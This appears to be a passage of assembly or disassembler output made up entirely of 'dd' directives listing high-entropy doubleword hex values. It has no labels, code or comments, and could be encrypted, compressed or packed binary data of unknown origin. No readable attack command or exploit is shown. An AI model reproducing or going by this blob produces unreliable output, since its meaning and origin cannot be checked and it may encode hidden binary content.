		dd 0B5F4524Ah, 1140AA4Dh, 0E30BADB3h, 17475AE9h, 3EC92DB8h
		dd 4E5B9A32h, 25838427h, 1590E772h, 5A2514DBh, 4DFE9656h
		dd 0AB4F2B7Dh, 29C22829h, 88EB4557h, 5A12CAD5h,	30029CF3h
		dd 629268C3h, 88538398h, 5BDDC8F7h, 859CF19Fh, 7603B2E9h
		dd 0B1093474h, 84CB28DBh, 0E085EB9Ch, 4234A5B8h, 0ED47D148h
		dd 5F0698A2h, 5DE9DB24h, 0B14A85FFh, 16A830A2h,	60987103h
		dd 0B1BC0548h, 0AE602041h, 0C9D132E9h, 3BCCDD71h, 40BE2D00h
		dd 71E920ACh, 2CECB7B4h, 16A6818h, 951B2FBFh, 58AD30F3h
		dd 0D06D86Bh, 0EE09D107h, 302E6668h, 80433A04h,	540CE281h
		dd 0C587525h, 580F7729h, 0CE04E960h, 0FA35857Bh, 0FAC7D540h
		dd 0F2742F2Dh, 5C9698FBh, 7F832263h, 0AA9D4916h, 36880F12h
		dd 50CA3B22h, 441CEE26h, 0C140BE46h, 25ADE774h,	9CA37AE9h
		dd 0A20F49E9h, 0A360D74Bh, 80EA7BDh, 5D5755ECh,	0C70A0FC2h
		dd 7691C062h, 2F513B37h, 4C6FE504h, 67CE8B8h, 2CFC1C15h
		dd 0F382099Ah, 97F410C0h, 5DEF8900h, 5E0EE94Fh,	60E7DB75h
		dd 0C319ABF0h, 0E3902Ch, 55CB5CBEh, 0F7F98749h,	8108D760h
		dd 3E2630E1h, 15DC65E2h, 1F3B1277h, 0E8A30B6Eh,	0BC338E59h
		dd 1BEDE93Fh, 0D23BB720h, 7912EF0Dh, 0BC6E3D8Dh, 0D8BAA4B6h
		dd 4841C869h, 0F9CB406h, 9FDAA7D4h, 0BB1D9DA5h,	0A93A8EC9h
		dd 0A3366466h, 43CE2F1h, 10A05E1h, 0B26B5B54h, 1C680C58h
		dd 41F1233Ch, 0FDB16EA3h, 558B826Eh, 10A3B68h, 0E9DA90CEh
		dd 4D9BDF0Dh, 0F3295EB0h, 0B0538494h, 53283EBh,	0DFE91711h
		dd 753E9C38h, 72A63A4Bh, 0C5ACE912h, 673CEA2Dh,	697A0BB9h
		dd 0EB871D03h, 78CCA284h, 3D32D380h, 0D2A32DC1h, 670348B0h
		dd 779D02B7h, 0DB58AA17h, 0A95CC900h, 1E8D170h,	7A60352Dh
		dd 3CFBE932h, 0E10500DCh, 500EF15Dh, 96B55Ah, 6A67A280h
		dd 4046EA95h, 98635622h, 6CF307E4h, 0C03C423Fh,	0DC37B2E3h
		dd 0AFE91C3Dh, 0EBB268F7h, 1F6EB057h, 8B316A38h, 0D34843E4h
		dd 9013F5BDh, 77FA545Dh, 0C3C5849Bh, 0D176FC9Ch, 0A56BAAEEh
		dd 0B60F103Bh, 0E978A85Dh, 91099F9Fh, 178814F7h, 35225868h
		dd 0CB35BE25h, 0FBD891FEh, 0E213AF47h, 52DADC16h, 665DF050h
		dd 5D76748Eh, 5481505Ah, 55F5388Ch, 202AE831h, 592F2B57h
		dd 3AD80248h, 0EAB2CBCBh, 0BE4A8F5Ch, 0C1FDD464h, 4239A5A5h
		dd 200CE31Dh, 0C74B0481h, 0D2D0F754h, 88F6B7C7h, 241AFF6Bh
		dd 1EC0FDC0h, 264804Ch,	17AD0C2h, 796AD76Ah, 21C080Dh
		dd 5B7F5F14h, 90D74928h, 80C7731Eh, 82A0475Bh, 0FD82BED2h
		dd 0ED0108CEh, 26F75D9Ch, 6E7C96E9h, 0F47C5A27h, 0DC65993Ch
		dd 40DD6847h, 0F0A2302Ah, 7C3E0E4Ch, 5E1B9246h,	17841CD0h
		dd 0D61E5861h, 0BA3ECD34h, 685DE580h, 0FCD3BA9Fh, 83A46027h
		dd 91610FE5h, 0FA4E147Bh, 0BD669A01h, 31D053ACh, 0F1ECA3EEh
		dd 0FE760B97h, 0C034A00Ch, 41FCC7D0h, 0C52EA31h, 50E80F10h
		dd 0C4665FE9h, 0C6DCF910h, 498C6E5h, 0F6F88850h, 0DD2FB1D0h
		dd 7893FDF7h, 0B9B74F35h, 0C04F8B4Ch, 4698BA41h, 0C5646F62h
		dd 0E066795Ch, 0E715E956h, 0B5C5EE97h, 0A2647471h, 0C2DE40ABh
		dd 989E9643h, 178DCEC3h, 0A1BB94ECh, 0A208046Eh, 0DDFE937Fh
		dd 0D8163C23h, 557E68DAh, 0A3A5743h, 89875EA0h,	0BAD5F501h
		dd 9D077BDh, 20C04E97h,	66038CBDh, 2E1C05Ah, 9B2BDB80h
		dd 21B4D0C1h, 59CC3828h, 71CEE22Eh, 0BE9B5470h,	0CAB1F604h
		dd 0FB6D5B0Dh, 88D081D2h, 1ABD97A6h, 5F03422Bh,	4E31501Eh
		dd 0C5F10B0Ah, 0F334B82Bh, 0DCEEFDE2h, 5F4BFD44h, 83B1DDB8h
		dd 8968FCC6h, 80092759h, 2010A5E7h, 28CE5A31h, 0F05B211Fh
		dd 6115F74Bh, 0C420BDE1h, 28615CB1h, 0FB9F51Ah,	90D795Fh
		dd 0ADA94FE9h, 9D7D6C5Fh, 766975F1h, 50E94105h,	779D6FECh
		dd 0D3E5B6ECh, 0B0F60016h, 406866FAh, 4D764348h, 46BA0424h
		dd 82EA7AB7h, 5474DF4Dh, 57F30153h, 3740DA68h, 2FECFC02h
		dd 0B809FDBBh, 40F37673h, 1E6EBAC1h, 0E50C8297h, 0A5D66A0Eh
		dd 0BF40233Bh, 0E280B9B2h, 6106CF48h, 0EACCDCA5h, 604E008Ch
		dd 6DAA578h, 531C5C91h,	52A6D389h, 0E00D5A01h, 6ABE4Eh
		dd 542504C2h, 582F325Ch, 58427E55h, 7D2D758Bh, 0E2CFA1Fh
		dd 27C73EC8h, 43ADE7C2h, 7A7545E2h, 22C2132Bh, 58A10486h
		dd 0B42CEEA8h, 63296262h, 0C55D5AD5h, 0EF8B8B0Ah, 0B018B2D5h
		dd 0FB5FE9B3h, 0C3800A86h, 530B06B2h, 585EB551h, 6FC50149h
		dd 0F7E9EB28h, 2FE93AE8h, 0E160BAF5h, 0A88AE951h, 0BFA05AAh
		dd 5314E616h, 9875C04h,	7783575Dh, 1E10710h, 515D70D0h
		dd 0E9C17F82h, 0BC486005h, 2A7B401Fh, 0D4D54CC9h, 1C5F5A09h
		dd 52159CFEh, 5CD76C57h, 0E9B1E1F0h, 888B5255h,	2C57405Fh
		dd 3FFFEA4h, 4334C0FEh,	0E97C780h, 0E254E962h, 1646C45Fh
		dd 612BDD68h, 0C509AE16h, 0D8786137h, 7712061Dh, 21F8D3E9h
		dd 9832E94Bh, 251279C4h, 0C6F21F2Bh, 0F3E90880h, 5A49029Fh
		dd 259FEBFFh, 0F344567Bh, 97975A95h, 75D2D45Ch,	8C642AD1h
		dd 0C34D40FEh, 45944B68h, 5455ABFh, 0D64766EBh,	0C1B4BB2Dh
		dd 1E4E0988h, 86092158h, 0A41615F4h, 192D65B0h,	0EA5A5F72h
		dd 0BA00F2B3h, 4C99190Bh, 16270B22h, 44A5B053h,	0C35320B8h
		dd 0C7F031B2h, 0F4250EB9h, 283A31EAh, 2B0DF5C5h, 3FA85614h
		dd 1B369652h, 5F91E5F4h, 0BCAF266h, 5CF6EE85h, 22DDEB72h
		dd 147849h, 161395BDh, 0FAC58150h, 7EF80D17h, 0BE4F05BFh
		dd 254EFDD5h, 2DF0F42Ch, 0F74BBF73h, 0B716E9B2h, 0CDB973F8h
		dd 1AA45097h, 11427B7h,	76123855h, 0BD5FA4F1h, 7FC30A46h
		dd 0BC16BE9h, 1B574BC7h, 0D1F38483h, 0E4FBAB28h, 425C1A00h
		dd 0C1895125h, 0F1D95FE9h, 0B3AC3B70h, 849F42E4h, 67DDA5BFh
		dd 16F89EDh, 68FD387Fh,	0AE28D237h, 0F85BFD8Eh,	2EE9C3EEh
		dd 0B8160049h, 4E4842AAh, 22016855h, 0E963D920h, 0C6ADD8D7h
		dd 0DAF79DE0h, 0D24C4A73h, 0B9321325h, 831A65AAh, 0AF034E12h
		dd 7133ADF3h, 6B0C0455h, 82395F0Ah, 88800863h, 6D665D80h
		dd 840B8B98h, 0D8EAD9C9h, 16059E83h, 0FC8AAF05h, 4A46CA60h
		dd 3AC16799h, 6B535814h, 416FD775h, 0BB40CD0Fh,	47E5402Eh
		dd 3C499817h, 898F2726h, 6D6E632h, 0E25C0EBEh, 0A2B55E3Eh
		dd 6A14E9DFh, 71D36ABCh, 331938Bh, 0C2AEE9D7h, 0DD282224h
		dd 0B498B635h, 886D2EB4h, 64554986h, 89EB1CDCh,	0C10BD331h
		dd 2836087Dh, 0FE5A8204h, 1C28DF19h, 0C561608h,	6842E5F5h
		dd 0F27E9029h, 0E70CF7A4h, 0FC34547h, 4CEC534Eh, 2AB1869h
		dd 7F986E77h, 0DEA2A54h, 41FA0FFFh, 64440BC7h, 0C19DBAB3h
		dd 14AAD6Eh, 0E97EA767h, 773B9969h, 0B1D5B2C6h,	0B0195A07h
		dd 60535231h, 0DEF1081h, 0FF7F13DDh, 8B66459Dh,	876B568h
		dd 15CD098Ch, 7710E11Ch, 9280010Dh, 9518BF18h, 5712305Eh
		dd 158C5134h, 7E2B0B68h, 68603B15h, 0BE817940h,	0FFDE51E8h
		dd 98018820h, 908E03Bh,	13E94B50h, 7DC015E2h, 2D7C35DEh
		dd 8044E1B5h, 0C87E54E5h, 0C9090D25h, 0E157B32Ah, 0BED4CB80h
		dd 5E6D980Ah, 0A41F67B5h, 0AA99949Fh, 0F89649F3h, 1DA5842Bh
		dd 0B9C404A9h, 0F0DB223Ch
		dd 0FE525AF3h, 68EAED32h, 26D6760h, 0D50144C4h,	305699E9h
		dd 3215BB01h, 30647A5Bh, 0ACB90151h, 0E9D2D990h, 72AE3546h
		dd 2F3ED487h, 482D3A42h, 530268B0h, 4978C672h, 0BE804FE2h
		dd 5A096708h, 1CC516B7h, 67C7B2D4h, 5008FF8h, 26AA1CEFh
		dd 0A12DF029h, 0F06B5E07h, 995FABBEh, 0D3047A77h, 8003258Bh
		dd 0DE28E3C6h, 0FBADEEABh, 95989CC4h, 0A60F2EE9h, 35E0414Dh
		dd 3A407166h, 4F8B9DC5h, 4FC48A4Bh, 0F7C051E0h,	0D5F97FC2h
		dd 9B3DE9E1h, 94919D6Fh, 659F6885h, 0C7FCE727h,	64D3C04Bh
		dd 1876DF13h, 3644CF07h, 0E7C01DC9h, 9CE5F96h, 5A68537Dh
		dd 0CBA30268h, 61A81891h, 0EE894A60h, 7BF05034h, 587A2038h
		dd 92EE5C7Ch, 3F4856B0h, 2B830721h, 0CDC04A39h,	764F2336h
		dd 27E50654h, 0D07EC615h, 0F8C10144h, 0F312DC05h, 0C065F2Ch
		dd 0DEDFBBEFh, 4B6B075Ah, 6E296F2Dh, 455834E9h,	700F595Ch
		dd 0BA0115B9h, 87F3358h, 0F25CE46Fh, 554609AAh,	958FBBEh
		dd 0AA1C4A4Fh, 0A4F1E452h, 0D6FBA26Eh, 183B66h,	43211415h
		dd 323EEF81h, 8549DA26h, 80DCCC14h, 0BA3AF74Bh,	6A80B721h
		dd 3313C7F6h, 3FE96D08h, 0C6B70277h, 1C5DFC30h,	0C1C30116h
		dd 0CE9E328h, 31148CD8h, 0BEE4CE8h, 580519BFh, 456D3603h
		dd 3950688Ah, 0E90843FDh, 2DF6B0FDh, 0E9C183B1h, 0B1B05CFCh
		dd 9A052BD8h, 0F4123E7Ch, 0CFC8010Ch, 3B62418Ch, 0EE077BE3h
		dd 2C602F0Ah, 381B6B0Ch, 9585483Fh, 16680802h, 98D54618h
		dd 0A93D2432h, 0A69152BFh, 66856A35h, 4AEA309Ch, 5409F4D9h
		dd 1AE31A5Eh, 0E130C594h, 0B17013F1h, 28007F4Ch, 5E170705h
		dd 55D1DD68h, 901B8C0h,	0ED3F20FDh, 8B7FB71Ch, 553A0BADh
		dd 62C67A09h, 38802B6h,	5B54626Eh, 58517F40h, 0E9607B09h
		dd 6F2F7E70h, 0E7F54406h, 5C02C02Fh, 0F847D0EFh, 0E3E7A597h
		dd 0AE4B7CE8h, 40A0D938h, 0D4642CBDh, 0E016E772h, 5D5BAF16h
		dd 0D47FA3CDh, 0FFC7C57Bh, 49AA8752h, 2955EF0Ch, 204ADA96h
		dd 68159D26h, 37477BDh,	0E38044B3h, 0F9F39891h,	0E9A4122Ch
		dd 4B5FAC11h, 0A26B3ACDh, 17965060h, 10E15413h,	286043E8h
		dd 80A6356h, 4D4947B8h,	0D5E95E07h, 120516A5h, 5E6AA016h
		dd 0C4626EECh, 464B6CA3h, 0FA882D2Fh, 0DCAE015Fh, 986E5A5Bh
		dd 4596E332h, 31AAAD16h, 74D7DCB1h, 795FC788h, 41C108CCh
		dd 68823EA4h, 73690F16h, 0CA886260h, 10697CE5h,	3150D047h
		dd 0A94D5A8Dh, 84518A2Fh, 0B5457502h, 39CC6002h, 9D8D727Eh
		dd 0D2CFDB68h, 630C2B76h, 40B7ECE9h, 8DDC955Dh,	5A0C5BA6h
		dd 0FDEE5936h, 6B69296Eh, 560155F7h, 0E97D9B3Bh, 29B73CB8h
		dd 7B07E566h, 5B87D888h, 0ABF058F5h, 125670B8h,	0ED214E0Ah
		dd 1312308Eh, 950EF5E9h, 0E743AAD1h, 0F47D4E8Ch, 0F78045EDh
		dd 988B0DDh, 60990FBDh,	0E31EAF52h, 0B724C244h,	964F0600h
		dd 98F52910h, 5A78AB56h, 0A56BFDC1h, 2E4A0690h,	0E8114E7Fh
		dd 0BE151FAh, 6F806088h, 2D5F7D2Ah, 2660F531h, 5F826D8Dh
		dd 0C9F8C408h, 2FCC0089h, 52E9F10Ch, 0EF60E64h,	0A7E780D7h
		dd 2856EF60h, 0E8E05BFDh, 3E87F39Dh, 0B85A6849h, 89965D03h
		dd 542FDE5Ah, 76B25A4Eh, 2AE6AC98h, 0FCE9A994h,	0ECAA0841h
		dd 46CD290Ah, 9ED45F62h, 0C60195AAh, 6A0CFF56h,	0AA9616A9h
		dd 8AFC4C4h, 0E60602CEh, 0F20A62F5h, 0C67740F2h, 0DAAC6A3Fh
		dd 686EF1F4h, 0BB4CD06h, 0D1B03F33h, 0C1161DB7h, 76800941h
		dd 2C61B6EDh, 125630C4h, 0C4AAAC99h, 64FBADE9h,	21F3AC01h
		dd 0E9DD0202h, 995DB368h, 7DF36DB8h, 65043AB9h,	0AA3495Ah
		dd 0D48389D7h, 0B8AD441Ch, 4AB0043Dh, 0F0A8C628h, 8672A34Eh
		dd 5077B155h, 583A3611h, 0FCC19DC3h, 3B2EE563h,	5A07E910h
		dd 0DA1950FEh, 9D24A805h, 4377C023h, 0E0B5477Ah, 80CE9A2Fh
		dd 5C7204ACh, 0E72CD91Dh, 3EA84F96h, 0B3FD129Fh, 54560943h
		dd 4C84795Eh, 1513C168h, 35CD2D1Eh, 0AD069B28h,	0A617FD56h
		dd 3F07F351h, 530703E6h, 220640BBh, 5E24B1Fh, 594A4878h
		dd 142541FAh, 3F706F76h, 45B5C5B8h, 0AEC5DE4Ah,	9BF18629h
		dd 58AD8C6Bh, 584359BDh, 0CE27685Ch, 7747B262h,	716BF4F3h
		dd 9A899506h, 36336802h, 57400272h, 30B5CD61h, 0BF2528A4h
		dd 6D09B0C5h, 61E0F6C1h, 30F78811h, 0F14EAFFAh,	0FC5F938Ah
		dd 0B9CDC4AFh, 2144BE13h, 0FD1F2E2h, 97715FF8h,	1B2845E9h
		dd 822C5809h, 4638298Ch, 0E4C729CEh, 0B3D84FFEh, 1F1C625Eh
		dd 507459CEh, 74C99AC2h, 0F5AC62FEh, 661BB7E5h,	0BEA9F981h
		dd 0AB78E999h, 72F7C4Dh, 66966329h, 18DDC78Fh, 60C6750Bh
		dd 0FA37C4Ah, 5E6EB34Bh, 13DF1DE4h, 84270F2Fh, 0EF071326h
		dd 0C683A581h, 59AA08Fh, 8402E833h, 0C1047D95h,	6101FE8h
		dd 2D72214Ch, 8EF846D6h, 8395E704h, 0CA88F321h,	0ED7644CDh
		dd 1E106804h, 4BA95B28h, 0E74FF7D0h, 19E11002h,	0AB5A845Ah
		dd 14135D9Eh, 10B5F2E2h, 2D0B4730h, 0FC89174Fh,	1B88E85Ch
		dd 185D2D84h, 4A3968AAh, 603EE36Dh, 4C0ADBA0h, 13DD226h
		dd 34F871B2h, 71F2E60Ch, 6BE0489Dh, 0F2E7C47Fh,	60C5AAC7h
		dd 2D2973F8h, 26AF8BCFh, 5CE7B45Eh, 0B8BFBAC6h,	0D6294827h
		dd 0F9FEAE17h, 632AD939h, 0BBBBE00h, 35C9A2Ch, 0C026CA0Bh
		dd 1608EE24h, 4AF0A0E9h, 12D6D03Eh, 3CBD0AEh, 7D4FFD4Dh
		dd 7E8452C4h, 0DD62C3EBh, 37E2BF4Bh, 0C2802C7Bh, 96DDAD6Eh
		dd 0A3681241h, 0A3373435h, 23AD5ACDh, 4E21C740h, 5B3EDCE6h
		dd 6B03FD90h, 0E93F9774h, 81A53AE3h, 0A243D484h, 1F23C37Ah
		dd 0E70D64F9h, 2F5D0E01h, 0D989E730h, 877CD16Bh, 0AC85C39Ch
		dd 4FE9F09Bh, 1F459FA1h, 79563A13h, 0C280FABh, 5530052Eh
		dd 60D86ADEh, 8C545B4Eh, 0E98BCE53h, 0A93107Fh,	0A06EAC54h
		dd 0C00886E9h, 327FF37Dh, 94A0172Fh, 93723474h,	5FFB2918h
		dd 0E6EADB1Eh, 0BC6817FCh, 0D3AB604Fh, 5B0A723Dh, 76A8B3E9h
		dd 2D8565CFh, 0A03FEFC9h, 452CD93Eh, 460AA9D4h,	0C3686A91h
		dd 7E4677CBh, 62B8E925h, 1C27DE15h, 93E7803h, 0BEFD7012h
		dd 27A508C8h, 0B35F0106h, 0C6C1E1FAh, 3C640867h, 0CB0105E2h
		dd 3386E201h, 57F565FAh, 0BA00A368h, 0EF55C08h,	3491D789h
		dd 0E8F7C16Eh, 956CF27Ch, 3034F116h, 0EC584963h, 3D494A7Ch
		dd 0B9017899h, 40D13162h, 69F4BE56h, 722E9FA9h,	0C818BDE4h
		dd 74FEEBB8h, 5B11EE60h, 4D30DC2Ch, 0C08C48C6h,	0B6526039h
		dd 68E1C4BFh, 0F8A11312h, 55C214EDh, 6E5813BEh,	530359D0h
		dd 0F4759087h, 0B4E897BDh, 27603BBEh, 672EE7EEh, 0BB034FC9h
		dd 39057141h, 0F46A025Bh, 9A75E4E4h, 7B892025h,	5E4A305Eh
		dd 42547273h, 5F1208E9h, 34AF7429h, 0D6111130h,	8215E75Ah
		dd 0E6E48AE9h, 5BD5F009h, 3F99D9E0h, 6D831A04h,	49A89DBEh
		dd 7849FD85h, 76DC5A9Bh, 76E91759h, 7B83A747h, 5E868D2Dh
		dd 0ADD64BBDh, 65D065C2h, 772824h, 1DA15B22h, 8C7F4035h
		dd 6FE91709h, 8B97FEF8h, 97715901h, 0F616183Fh,	392FBEDAh
		dd 0D4CAF13h, 283CA407h, 76CE626Ah, 20149841h, 8B980219h
		dd 684DB412h, 0B80CC206h, 0E135003Eh, 0C176BE33h, 0C3A005E0h
		dd 3C00172Eh, 1EEF8167h, 1B11F915h, 810290E9h, 3EE419B1h
		dd 4931DB3h, 1238254Fh,	26D04845h, 13CCA1C8h, 0B1176F2Ah
		dd 384DF98Ch, 479376F0h, 711A1789h, 6756828Eh, 5E0201Dh
		dd 5A0958FFh, 2D1F71Ah
		dd 6CDA3350h, 4CDC95D6h, 0D04BA53Eh, 6BB0952Ah,	0EF9DF631h
		dd 0A26425ECh, 0D4B4C325h, 81DDEB8Ah, 53241CEh,	97648421h
		dd 0B54D16B0h, 28A208EDh, 0C4F2B28h, 22E4B38Dh,	2E75001Bh
		dd 6D490D58h, 53B81311h, 0C0BF78B2h, 0C425B956h, 0F139690Bh
		dd 100DF6A6h, 82E80430h, 0CECBA002h, 0F81FAE91h, 0E295BD4Ah
		dd 612057BFh, 71AF74A1h, 0CFB22AFCh, 0F6AEB107h, 0E0F251D1h
		dd 0EF34DC68h, 0D4C7EC65h, 0F727C193h, 41B640D9h, 3207BD55h
		dd 313C34DFh, 0E47804EBh, 870EBB17h, 0C35D7D28h, 59DB0671h
		dd 11B7A66Eh, 696265F0h, 490A48ABh, 3C0D5615h, 2E9D8252h
		dd 485A479Eh, 4CC0099Fh, 0AC0F8426h, 12714Ah, 0D0C8CF77h
		dd 0EA25E962h, 0AD4D18D2h, 0BD29A829h, 0B60B1794h, 806DB908h
		dd 792B47C7h, 0E9F51331h, 2BD1A16Dh, 191A88F7h,	0EC7F5CB4h
		dd 8E6813CBh, 0F2E9A473h, 0F563869Ch, 26A7F1BCh, 16334830h
		dd 859B75DDh, 7620EFDh,	0AE3CFC24h, 0AE048AF5h,	14E90B03h
		dd 437207F2h, 29C1E3D1h, 0A74812A0h, 0AEB89D4Ah, 0D95C5873h
		dd 0CEC225C7h, 0FCE3A0EBh, 238D0106h, 659DBB53h, 0CD192063h
		dd 96A5C95Ah, 0C7DF1D3Fh, 7D974EA1h, 0F2DFC10h,	38C74C90h
		dd 0E267D8Bh, 69470C5Ch, 0D00C0544h, 14A9491Bh,	0FA562582h
		dd 0E5D56F8Bh, 84E944A3h, 5E8EAA9Dh, 0E9613C4Eh, 25E57F25h
		dd 0B1BB02DDh, 4746AFF2h, 0E0BF01F8h, 3EE52585h, 0A89758ADh
		dd 9F42242Ch, 285F1918h, 25EFB2B3h, 0E6565DEFh,	1F02C920h
		dd 315E7E4Ah, 0BE305DEEh, 7817D5F6h, 0C7C1E2DFh, 1C12EE9h
		dd 5DB9C87Ah, 9D9855E2h, 0BDC91934h, 0C1C3B184h, 0E6AB03F3h
		dd 7B9E6855h, 0EA348910h, 1D0F3450h, 832C13DAh,	351F06C1h
		dd 5CE9C09Fh, 74606F32h, 0A670950Ch, 0F929046Eh, 0E87EC468h
		dd 0ADEBC8F0h, 0C1E0A70h, 59D7E32Ch, 81438F41h,	4FF0CDCBh
		dd 2CDC9525h, 51B74082h, 0A9035DB3h, 9002C783h,	0CA2623EFh
		dd 0D9825F22h, 0D09A0F3h, 0B6811EF8h, 701962BAh, 2EDE407Ah
		dd 440BA69Ah, 0D75AD121h, 0E38738C9h, 850D2B3h,	700AD6Ah
		dd 5E2D4352h, 250861F8h, 2E62F4E9h, 13EC975Dh, 2561AAEEh
		dd 0A73FD37Dh, 1F118408h, 6CD4E297h, 0ADEA31EEh, 11C6524Ah
		dd 0FF0BEC7Eh, 0B2490632h, 0A5544C54h, 3F3FC971h, 0BA7169A9h
		dd 52E25E6Bh, 1842E1DEh, 0EC15565h, 4FA330E7h, 56935D91h
		dd 1657BB0h, 33BE460Dh,	70D31DB2h, 580431Dh, 0B611025Dh
		dd 2DD00106h, 38FB078Ah, 19DA1B8Ah, 64C204CAh, 424A8D2h
		dd 0A106D4Bh, 0C1462D80h, 0CE7258F7h, 0F29D0620h, 0BA280FE8h
		dd 0CEAB98EBh, 5C4A14D0h, 1310B5CBh, 70503B78h,	0E1D682AAh
		dd 7DC47D52h, 38F7FB20h, 82930EBDh, 0C2D6E812h,	5642BAE9h
		dd 93A74257h, 7D950909h, 992DC8A0h, 4413374Bh, 4E11C801h
		dd 0E9D80508h, 0D58A601Ch, 3144F14Fh, 0FBEF5406h, 0EA64A072h
		dd 8F82F769h, 9A0C36E6h, 0F6DE142Ah, 5F20CECEh,	6E874158h
		dd 26D74836h, 0CD61672h, 6C0C8E7Dh, 0DD885116h,	0B80C82FEh
		dd 26B91BC8h, 40090D27h, 780CC12Ah, 50B9C5Ch, 0BB4D2A46h
		dd 81ACF94h, 5A14081Ch,	6A1BE26Bh, 51807ED7h, 0E582FA58h
		dd 71D786E9h, 5A83A0C9h, 3112819Ah, 0C7376AEFh,	78ACE8D4h
		dd 0E8E02925h, 557E0939h, 0ED748198h, 1C4BA530h, 6F01E95Dh
		dd 8707FF3Eh, 525EBF28h, 0EF539199h, 2EF79FDAh,	44D02DCFh
		dd 10D0EE3Dh, 16E11E55h, 0BAD32971h, 45A0414h, 67BD476Ch
		dd 0D6E94E80h, 240A7423h, 0CF2CDA6Ah, 6A6972ADh, 86202629h
		dd 0BC0D0964h, 0EF55561Dh, 0DAF32773h, 0F492A2B5h, 84B17D59h
		dd 59FD621Bh, 2D575A62h, 35F961BAh, 3CC37291h, 4AE4920Bh
		dd 0FC8EA701h, 0AA4093E5h, 5B187EFDh, 599E503h,	58D0E808h
		dd 6A97138Fh, 60F2C900h, 2FE90EC5h, 0E01CA929h,	0E56BB580h
		dd 9E1FD99Fh, 33A0BC52h, 0F19D0CE6h, 85CA9794h,	2AF8F1D6h
		dd 0B14A37E3h, 3BAC6017h, 5B534E05h, 6281FE87h,	0B6E02E9h
		dd 4E5C5F9Fh, 9C6D3702h, 693CC21Ch, 83705061h, 6262B64Dh
		dd 0E34088E5h, 26B4BEF8h, 96640183h, 0FFEC3416h, 5B850103h
		dd 35F0E94Ah, 73BFF806h, 432CF31Eh, 16C1B0FCh, 1FE2815Bh
		dd 305356A7h, 1044214Eh, 38F024C4h, 0E95C6CBBh,	0E401665Eh
		dd 4778F22Dh, 55FF02Ah,	0EAE007A3h, 2E0BE44Bh, 0E6B85FE9h
		dd 23E0C2Bh, 7747E3Fh, 23610A03h, 2BC9FDE9h, 3ECA54C1h
		dd 224E4AF8h, 0C57D0103h, 47A1A4F9h, 0D0F62B78h, 735F2161h
		dd 924050F5h, 5AB0B355h, 3126C2ECh, 0F7908C40h,	58C59FC0h
		dd 3E44A2BFh, 4FA536FAh, 0B77CE1C2h, 562FF72Dh,	35F068A6h
		dd 5074E169h, 0E160FD73h, 73F85AC6h, 0E0265DCDh, 7142EE43h
		dd 2D5C0023h, 4558694Ch, 0ED8F161Bh, 40EA33AFh,	813F9BF0h
		dd 439DC905h, 0D58210E1h, 85E92101h, 360AAF8Ah,	293CEF85h
		dd 0AE613075h, 67EE800Ah, 2514CEE6h, 1FB8F652h,	0C61D5A01h
		dd 515B1E30h, 0E92909B5h, 214815D4h, 222435CDh,	0EA94B616h
		dd 715B2D08h, 0DD054941h, 0A6F1AA2Ch, 66866D4h,	0CE92150h
		dd 4265267h, 9C1011A9h,	5E3ABB1Eh, 0CDAEF76h, 5A37589Dh
		dd 933CAEFAh, 4C6B7C59h, 5A07A8EAh, 0C0423957h,	8B713EF5h
		dd 5F45102Fh, 3D4FD680h, 70C97C5Ah, 894051D2h, 0C459457Fh
		dd 0F627B42Eh, 91E970A7h, 0B8EAF69h, 0B0765A8Bh, 0BBE8408Bh
		dd 7125D407h, 0B6B5533Ah, 5FF6E7ABh, 4FCDF4F1h,	6F84D96Ch
		dd 0E3AEFDh, 41FA5D27h,	64835997h, 80EA92F9h, 0C9FEAC40h
		dd 1ED1F624h, 4322AB1Ah, 0B30CDDD3h, 99C381F0h,	6E98320Dh
		dd 0E5959A50h, 0BA6EB426h, 0B21A4881h, 0AB219607h, 98CE595Eh
		dd 0F2545F25h, 9B283D70h, 0C044025Fh, 324008EEh, 8D75E963h
		dd 0CD55C2E1h, 17E9891Ah, 0B868F658h, 0E800A213h, 0ED815895h
		dd 54891EF2h, 0D2EF939Ah, 6FF41E4Eh, 8C15FD27h,	0C0ABE909h
		dd 0EE2AB54Dh, 0BBC74B37h, 0A4C30370h, 7C2E2C54h, 29023F44h
		dd 50E9174Eh, 2C40816Ah, 51124C35h, 0DCC10915h,	6740DB67h
		dd 9037F760h, 6A79207Dh, 3D4BDAB5h, 0DAAEAF7Ch,	0AEBD8220h
		dd 32629B2Dh, 9FE6FF60h, 0D0C6FE80h, 6F249D04h,	5D41188Ah
		dd 4D1D88CEh, 0EE8F1C8Ch, 0A7AFECB5h, 0EA400649h, 0C2F30110h
		dd 7F5E0881h, 0AC2F7CD9h, 0B92DA19Ch, 0A22CBA04h, 0ADE5607Eh
		dd 6D705CB6h, 6E0FC4A0h, 4D48B302h, 0A0EFC2E9h,	15EF0D4h
		dd 4BA0B0D8h, 0B5D7C70Eh, 948083CBh, 20C3C303h,	0D946F5EEh
		dd 1681F9BEh, 0C280F7B2h, 83867072h, 5A17D0E0h,	2CAB352Ch
		dd 559850FBh, 20E9413Dh, 5A91769Dh, 0C15EC41Dh,	521AA66h
		dd 65D76C04h, 748413BCh, 1D31FEABh, 0EF04F38Eh,	307BD2F2h
		dd 0EBAF5057h, 38301FCDh, 1AE20C43h, 0C223401Eh, 0E8B8EA16h
		dd 2A12E0ACh, 0DCF5A52Ch, 0EF9D4D59h, 0C4510852h, 98B75305h
		dd 0F23817EEh, 0B2528248h, 0A58A838Bh, 0FEF09FC0h, 5BC5E9C2h
		dd 709B458Eh, 0F402C9ABh, 0EFCF2594h, 2CABF3C8h, 4D9D51CEh
		dd 644AF44h, 8C7CD695h,	0BF1C989Dh, 6749C509h, 0C51A5F77h
		dd 0E37DABABh, 4513E990h, 0B6B96150h, 56AF2614h, 3C6101DFh
		dd 71E955D4h, 0FE26ADECh, 0B2A6EF92h, 0EE0497EBh, 6684477h
		dd 7E6BB880h, 0E97A1348h, 5B684397h, 4E135059h,	36FFDFB4h
		dd 0B281E260h, 0C6A79D69h, 77AC88CBh, 58F99D93h, 0D6322BE4h
		dd 7E9B6AA5h, 0E32CABh,	34E6737Bh, 4F026A2Dh, 0A1E97091h
		dd 64795C3Ah, 82558521h
		dd 58090814h, 74681720h, 8010F97Ah, 79105C39h, 1578954Dh
		dd 0E6AB7AB7h, 9C5016ABh, 4949AEA7h, 2DB0F66Ah,	0C34E9EB2h
		dd 0B436DABFh, 4161CAB3h, 272068h, 0B14B6DE9h, 41F129Fh
		dd 85890C3Eh, 5A0BA0Fh,	2DC06249h, 9A7AAA4Ah, 883D2F77h
		dd 110AF7Dh, 478F51B3h,	0BD520C60h, 728071BAh, 2B6B7566h
